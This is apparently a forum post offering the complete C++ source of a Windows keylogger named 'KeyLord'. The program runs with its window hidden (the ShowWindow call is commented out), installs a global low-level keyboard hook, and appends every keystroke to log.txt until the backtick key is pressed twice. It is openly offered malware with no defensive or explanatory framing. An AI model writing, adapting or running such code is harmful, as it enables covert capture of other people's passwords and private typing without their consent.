C++ keylogger

Keylogger[C++]
Code:
#include "windows.h"

#include "fstream.h"

#include "iostream.h"

/* Declare Windows procedure */

LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);



/* Make the class name into a global variable */

char szClassName[ ] = "KeyLord";

HHOOK kbhook;

fstream file;

int prev;

int WINAPI WinMain (HINSTANCE hThisInstance,

HINSTANCE hPrevInstance,

LPSTR lpszArgument,

int nFunsterStil)

{

HWND hwnd; /* This is the handle for our window */

MSG messages; /* Here messages to the application are saved */

WNDCLASSEX wincl; /* Data structure for the windowclass */



/* The Window structure */

wincl.hInstance = hThisInstance;

wincl.lpszClassName = szClassName;

wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */

wincl.style = CS_DBLCLKS; /* Catch double-clicks */

wincl.cbSize = sizeof (WNDCLASSEX);



/* Use default icon and mouse-pointer */

wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);

wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);

wincl.hCursor = LoadCursor (NULL, IDC_ARROW);

wincl.lpszMenuName = NULL; /* No menu */

wincl.cbClsExtra = 0; /* No extra bytes after the window class */

wincl.cbWndExtra = 0; /* structure or the window instance */

/* Use Windows's default color as the background of the window */

wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;



/* Register the window class, and if it fails quit the program */

if (!RegisterClassEx (&wincl))

return 0;



/* The class is registered, let's create the program*/

hwnd = CreateWindowEx (

0, /* Extended possibilites for variation */

szClassName, /* Classname */

"KeyLord", /* Title Text */

WS_OVERLAPPEDWINDOW, /* default window */

CW_USEDEFAULT, /* Windows decides the position */

CW_USEDEFAULT, /* where the window ends up on the screen */

544, /* The programs width */

375, /* and height in pixels */

HWND_DESKTOP, /* The window is a child-window to desktop */

NULL, /* No menu */

hThisInstance, /* Program Instance handler */

NULL /* No Window Creation data */

);



/* Make the window visible on the screen */

// ShowWindow (hwnd, nFunsterStil);



/* Run the message loop. It will run until GetMessage() returns 0 */

while (GetMessage (&messages, NULL, 0, 0))

{

/* Translate virtual-key messages into character messages */

TranslateMessage(&messages);

/* Send message to WindowProcedure */

DispatchMessage(&messages);

}



/* The program return-value is 0 - The value that PostQuitMessage() gave */

return messages.wParam;

}



LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ){



PKBDLLHOOKSTRUCT table = (PKBDLLHOOKSTRUCT)lParam;

if (nCode==HC_ACTION & wParam==WM_KEYDOWN){

switch(table->vkCode)

{

case 192:

if(prev==192){



UnhookWindowsHookEx(kbhook);

PostQuitMessage(WM_QUIT);

file.close();

}

break;

default:

file<<(char)table->vkCode<<" "<<table->vkCode<<endl;

break;

}

prev=table->vkCode;

}



if (nCode < 0)

{

CallNextHookEx(kbhook,nCode,wParam,lParam);

}



return 0;

}



/* This function is called by the Windows function DispatchMessage() */



LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

{

switch (message) /* handle the messages */

{

case WM_CREATE:

{

file.open("log.txt",fstream::app|fstream::out);

file<<"\n-------------------------------\n";

kbhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);



}

break;

case WM_CLOSE:

UnhookWindowsHookEx(kbhook);

file.close();

break;

case WM_DESTROY:

UnhookWindowsHookEx(kbhook);

file.close();

PostQuitMessage (0); /* send a WM_QUIT to the message queue */

break;

default: /* for messages that we don't deal with */

return DefWindowProc (hwnd, message, wParam, lParam);

}



return 0;

}